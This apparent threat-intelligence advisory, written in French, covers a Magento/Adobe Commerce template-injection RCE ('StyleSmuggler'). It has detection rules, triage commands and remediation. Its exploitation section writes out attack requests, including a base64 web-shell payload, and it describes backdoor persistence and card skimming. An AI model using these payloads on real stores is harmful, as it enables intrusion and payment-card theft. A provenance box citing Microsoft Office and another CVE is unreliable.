CVE-2026-75650 : exécution de code arbitraire à distance sans authentification par injection de template StyleSmuggler dans Adobe commerce et magento
HERMES THREAT SCORE & MENACE D'EXPLOITATION ACTIVE EN CONDITIONS RÉELLES
Cible :Adobe Commerce & Magento Open Source — Moteur de gabarits d'email & sous-système de notification Le score CVSS v3.1 (10.0 Critique) et le score de menace Hermes (99 EXTRÊME) convergent pour signaler le péril absolu représenté par CVE-2026-75650. Surnommée « StyleSmuggler », cette vulnérabilité zero-day pré-authentification fait l'objet d'une militarisation active depuis le 4 septembre 2026 et a été intégrée au catalogue CISA KEV le 8 septembre 2026. Les attaquants combinent un empoisonnement de journaux applicatifs à l'injection de styles CSS dans les gabarits d'emails transactionnels pour exécuter du code PHP arbitraire sans identifiants. Les groupes criminels installent immédiatement des portes dérobées furtives en Rust usurpant les processus du noyau (kworker) et injectent des skimmers de cartes bancaires Magecart dans les pages de paiement.
SCORE DE SÉVÉRITÉ AGENTIQUE HASS & DÉTOURNEMENT DE FLUX E-COMMERCE
Cible :Flux transactionnels automatisés, démons de traitement des commandes & agents d'assistance Bien qu'il s'agisse principalement d'une compromission de serveur web e-commerce, les déploiements Magento contemporains intègrent des agents IA pour la gestion dynamique des stocks et la détection des fraudes. La compromission du serveur hôte livre aux attaquants le contrôle total des bases de données exploitées par ces agents, permettant la falsification des transactions et l'empoisonnement des données d'apprentissage.
CVE-2026-75650: Unauthenticated Remote Code Execution viaVULNÉRABILITÉ
Software platform affected by security vulnerabilities and agentic attack patterns.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Confirmed security vulnerability in Microsoft Office & 365 Apps documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
1. Contexte technique & matrice d’impact
Section intitulée « 1. Contexte technique & matrice d’impact »Adobe Commerce constitue la dorsale marchande d’entreprises internationales de premier plan. La vulnérabilité réside dans le sous-système de traitement des gabarits et de notification transactionnelle.
| Paramètre | Spécification technique | Signification opérationnelle |
|---|---|---|
| Identifiant CVE | CVE-2026-75650 | NVD, CISA KEV, Bulletin Adobe APSB26-146 |
| Classe de vulnérabilité | Injection de gabarit côté serveur (CWE-1336 / CWE-94) | Évaluation dynamique de directives injectées lors de l’inlining CSS |
| Composant vulnérable | Magento\Email\Model\Template\Filter, gestionnaire de relance de paiement | Moteur de rendu d’emails et module de style CSS |
| Nom de code | StyleSmuggler | Campagne active déployant des backdoors furtives en Rust |
| Vecteur d’attaque | Réseau (AV:N) sans authentification | Points d’accès publics du panier et de validation de commande |
| Privilèges requis | Aucun (PR:N) | Faille zero-day pré-authentification |
| Interaction utilisateur | Aucune (UI:N) | Exécution déclenchable sans intervention d’un utilisateur |
| Exploitation Active | CONFIRMÉE DANS LA NATURE (CISA KEV le 08/09/2026) | Attaques observées en production dès le 04/09/2026 |
| Versions affectées | Commerce 2.4.4–2.4.9, Magento Open Source 2.4.6–2.4.9 | Toutes les boutiques non corrigées |
| Version corrigée | APSB26-146 (Patch VULN-39341) | Applique un bac à sable strict et interdit l’inclusion de fichiers locaux |
2. Anatomie de la vulnérabilité & analyse de cause racine
Section intitulée « 2. Anatomie de la vulnérabilité & analyse de cause racine »Le mécanisme en deux étapes de StyleSmuggler
Section intitulée « Le mécanisme en deux étapes de StyleSmuggler »Historiquement, le moteur de gabarits de Magento (Magento\Email\Model\Template\Filter) filtrait strictement les directives autorisées ({{config path="..."}}, {{layout handle="..."}}) en interdisant l’évaluation directe de code PHP.
CVE-2026-75650 contourne ces sécurités par une cinématique en deux temps :
sequenceDiagram autonumber actor Attaquant participant Boutique as Serveur web Magento participant Disque as Système de fichiers (var/log/ var/report/) participant Worker as Tâche asynchrone / Cron (email_reminder) participant Moteur as Filtre de gabarits & inliner CSS participant Système as Système d'exploitation hôte
Attaquant->>Boutique: Envoie une requête de paiement piégée avec charge PHP Boutique->>Disque: Consigne le rapport d'échec / journal contenant la charge Attaquant->>Boutique: Déclenche l'envoi de la relance d'échec de paiement Boutique->>Worker: Met en file d'attente la tâche de génération d'email Worker->>Moteur: Génère le gabarit avec directive d'inlining CSS Moteur->>Disque: Récupère la feuille de style via traversée de chemin Disque-->>Moteur: Renvoie le journal empoisonné contenant les balises PHP Moteur->>Système: Évalue le code PHP via inclusion dynamique non isolée Système-->>Attaquant: Ouvre un reverse shell / installe la backdoor RustLa faille d’analyse dans l’inliner CSS
Section intitulée « La faille d’analyse dans l’inliner CSS »Lors de la construction des emails, Magento injecte les styles CSS en ligne pour garantir une présentation homogène sur les clients de messagerie. L’utilitaire d’inlining résolvait dynamiquement les blocs <style>.
Lors de la résolution des chemins de fichiers CSS locaux, l’inliner acceptait des séquences de traversée de répertoires :
// Logique vulnérable dans le filtre d'email Magentopublic function inlineCssDirective($construction){ $params = $this->getParameters($construction[2]); $filePath = $params['file']; // Contrôlé par l'attaquant via le rapport piégé
if ($this->isAllowedPath($filePath)) { // ANOMALIE : isAllowedPath considérait var/report/ et var/log/ comme légitimes $content = file_get_contents($this->directoryList->getRoot() . '/' . $filePath);
// Le compilateur évalue dynamiquement les expressions imbriquées return $this->processCustomStyleDirectives($content); } return '';}Les répertoires var/log/ et var/report/ étant jugés internes au projet, le contenu du fichier empoisonné était ingéré. Lors de la compilation des directives de style, le moteur procédait à une évaluation dynamique de code PHP, exécutant la charge au sein du processus serveur.
3. Vecteurs de menace, cinématique d’attaque & exploitation
Section intitulée « 3. Vecteurs de menace, cinématique d’attaque & exploitation »Déroulement de l’exploitation
Section intitulée « Déroulement de l’exploitation »L’attaquant initialise la chaîne par une requête de paiement non authentifiée sur l’API publique du panier d’invité :
POST /rest/V1/guest-carts/abc123def456/payment-information HTTP/1.1Host: boutique.entreprise-victime.frContent-Type: application/json
{ "paymentMethod": { "method": "checkmo", "additional_data": { "transaction_id": "tx_<?php file_put_contents('/var/www/html/pub/media/health.php', base64_decode('PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXTspOz8+')); ?>" } }, "billingAddress": { "email": "attaquant@darkmail.org" }}Le module consigne l’échec de la transaction dans var/log/exception.log.
L’attaquant sollicite ensuite la génération de l’email de notification d’échec en injectant la directive d’inclusion de style ciblant le journal empoisonné :
POST /rest/V1/guest-carts/abc123def456/reminder HTTP/1.1Host: boutique.entreprise-victime.frContent-Type: application/json
{ "template_override": "{{css file=\"var/log/exception.log\"}}"}Le moteur traite la directive CSS, interprète le fichier de log contenant le code PHP et dépose le web shell /pub/media/health.php.
4. Traces forensiques & analyse de la menace en conditions réelles
Section intitulée « 4. Traces forensiques & analyse de la menace en conditions réelles »Caractéristiques de la militarisation observée
Section intitulée « Caractéristiques de la militarisation observée »Les investigations DFIR menées sur les infrastructures marchandes compromises mettent en lumière un mode opératoire récurrent :
- Déploiement de portes dérobées en Rust : dans les 90 secondes suivant l’accès RCE initial, les attaquants déposent des binaires ELF Linux 64 bits compilés en Rust dans
/dev/shm/,/tmp/ou/var/tmp/. - Masquage de processus (process masquerading) : le logiciel malveillant modifie son nom de processus en mémoire via l’appel système
prctl(PR_SET_NAME, ...)pour imiter des processus légitimes du noyau :[kworker/u64:2-events][fc-cache][jbd2/sda1-8]
- Persistance par tâches planifiées : les cyberattaquants créent des entrées cron dans
/etc/cron.d/ou dans/var/spool/cron/crontabs/www-data:Fenêtre de terminal */10 * * * * root /var/tmp/.fc-cache --daemon >/dev/null 2>&1 - Skimmers de cartes bancaires (magecart) : les attaquants altèrent les gabarits de validation de commande (
vendor/magento/module-checkout/view/frontend/templates/onepage.phtmlou la table de base de donnéescore_config_data) pour injecter du code JavaScript obfusqué qui dérobe les numéros de carte bancaire, dates d’expiration et cryptogrammes visuels.
Guide de triage pour l’analyste DFIR
Section intitulée « Guide de triage pour l’analyste DFIR »Lors d’un audit de compromission sur une instance Magento :
- Rechercher les fichiers récemment modifiés ou créés dans les dossiers média :
Fenêtre de terminal find /var/www/html/pub/media -type f -mtime -14 -name "*.php" - Examiner les processus en cours d’exécution liés à des fichiers exécutables masqués :
Fenêtre de terminal ls -l /proc/[0-9]*/exe 2>/dev/null | grep -E '(tmp|shm|var)' - Analyser les requêtes web associant des appels vers l’API
guest-cartssuivis d’appels vers des scripts PHP anormaux danspub/media/.
5. Ingénierie de détection & règles Sigma
Section intitulée « 5. Ingénierie de détection & règles Sigma »Règle Sigma : processus système usurpé lancé par le serveur web (masquerading post-RCE)
Section intitulée « Règle Sigma : processus système usurpé lancé par le serveur web (masquerading post-RCE) »title: Processus système usurpé initié par le serveur web (Post-RCE StyleSmuggler)id: 8b671a90-341e-4cb2-a721-c75650000001status: experimentaldescription: Détecte Apache ou PHP-FPM exécutant des binaires usurpant le nom de threads noyau kworker ou d'utilitaires système depuis des répertoires temporaires.author: Hermes Codex Cyber Threat Intelligencedate: 2026-09-16references: - https://helpx.adobe.com/security/products/magento/apsb26-146.html - https://www.cisa.gov/known-exploited-vulnerabilities-cataloglogsource: category: process_creation product: linuxdetection: selection_parent: ParentImage|endswith: - '/php-fpm' - '/apache2' - '/httpd' - '/nginx' selection_masquerade: Image|contains: - 'kworker' - 'fc-cache' - 'jbd2' - 'systemd-worker' selection_path: Image|contains: - '/dev/shm' - '/tmp' - '/var/tmp' - '/pub/media' condition: selection_parent and (selection_masquerade or selection_path)fields: - ParentImage - Image - CommandLine - Userlevel: criticaltags: - attack.execution - attack.t1059.004 - attack.defense_evasion - attack.t1036.004 - cve.2026.75650Règle YARA : détection de la porte dérobée Rust liée à StyleSmuggler
Section intitulée « Règle YARA : détection de la porte dérobée Rust liée à StyleSmuggler »rule Linux_Backdoor_StyleSmuggler_Rust { meta: description = "Détecte la backdoor Linux en Rust déployée lors des attaques StyleSmuggler (CVE-2026-75650)" author = "Hermes Codex Cyber Threat Intelligence" date = "2026-09-16" reference = "https://helpx.adobe.com/security/products/magento/apsb26-146.html" cve = "CVE-2026-75650" score = 95 strings: $magic = { 7F 45 4C 46 } $s1 = "kworker/u64:" ascii $s2 = "/dev/shm/.session" ascii $s3 = "src/transport/socks5.rs" ascii $s4 = "magento_skimmer_relay" ascii $rust = "rustc " ascii condition: $magic at 0 and ($rust and 2 of ($s*)) and filesize < 15MB}6. Durcissement, remédiation & vérification
Section intitulée « 6. Durcissement, remédiation & vérification »-
Appliquer le correctif d’urgence VULN-39341 (Adobe APSB26-146) : Téléchargez et appliquez le correctif officiel fourni par Adobe ou mettez à jour votre installation via Composer :
Fenêtre de terminal vendor/bin/ece-patches apply VULN-39341# Ou via Composer pour les branches corrigées :composer update magento/product-enterprise-edition --with-dependenciesphp bin/magento setup:upgradephp bin/magento cache:clean -
Procéder à une vérification forensique d’intégrité : L’exploitation active ayant précédé la publication du correctif, inspectez minutieusement les tâches planifiées, les connexions réseau et l’intégrité des fichiers sources :
Fenêtre de terminal # Vérifier les connexions réseau sortantes établies par l'utilisateur webss -tupn | grep -E '(php|nginx|apache)'# Recompiler les dépendances pour valider l'intégrité des classesphp bin/magento setup:di:compile -
Renouveler la clé de chiffrement et les secrets de passerelles de paiement : Renouvelez la clé de chiffrement maîtresse de Magento (
app/etc/env.php), les mots de passe de la base de données et les clés secrètes des passerelles bancaires (Stripe, Braintree, PayPal) :Fenêtre de terminal php bin/magento encryption:payment-data:update -
Interdire l’exécution directe de scripts PHP dans les dossiers statiques : Configurez Nginx pour bloquer sans exception l’exécution de tout fichier PHP au sein des répertoires d’envoi et de médias :
location ~* ^/(pub/media|pub/static|var)/.*\.php$ {deny all;return 404;}